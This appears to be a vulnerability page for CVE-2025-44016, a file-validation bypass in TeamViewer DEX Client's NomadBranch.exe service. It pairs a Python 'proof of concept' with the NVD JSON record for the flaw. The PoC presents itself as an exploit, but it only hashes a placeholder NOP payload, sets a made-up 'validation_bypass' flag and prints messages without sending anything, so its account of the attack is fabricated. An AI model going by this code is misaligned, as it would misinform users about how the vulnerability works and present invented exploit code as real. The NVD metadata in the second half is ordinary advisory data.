CVE-2025-44016

// CVE-2025-44016 PoC - File Integrity Validation Bypass // This PoC demonstrates the vulnerability in TeamViewer DEX Client // Note: This is for educational purposes only import struct import hashlib class CVE_2025_44016_PoC: def __init__(self): self.target_service = "NomadBranch.exe" self.malicious_payload = b"\x90" * 256 # Placeholder payload def generate_valid_hash(self, payload): """Generate a valid hash for the malicious file""" return hashlib.sha256(payload).hexdigest() def craft_malicious_request(self): """Craft a request that bypasses file validation""" payload = self.malicious_payload valid_hash = self.generate_valid_hash(payload) # Malicious request structure request = { "file_content": payload, "file_hash": valid_hash, "validation_bypass": True, "target_service": self.target_service } return request def exploit(self, target_ip): """Execute the exploit""" request = self.craft_malicious_request() # Send crafted request to target # The service will incorrectly validate the malicious file print(f"[*] Sending crafted request to {target_ip}") print(f"[*] File hash: {request['file_hash']}") print(f"[*] Validation bypass: {request['validation_bypass']}") return True if __name__ == "__main__": poc = CVE_2025_44016_PoC() poc.exploit("target_ip")

{"cve": {"id": "CVE-2025-44016", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.137", "lastModified": "2026-01-14T19:57:03.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in TeamViewer DEX Client (former 1E client) - Content Distribution Service (NomadBranch.exe) prior version 25.11 for Windows allows malicious actors to bypass file integrity validation via a crafted request. By providing a valid hash for a malicious file, an attacker can cause the service to incorrectly validate and process the file as trusted, enabling arbitrary code execution under the Nomad Branch service context."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.11", "matchCriteriaId": "8611FFE2-869F-435C-8FC2-8522C656D4EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1005/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}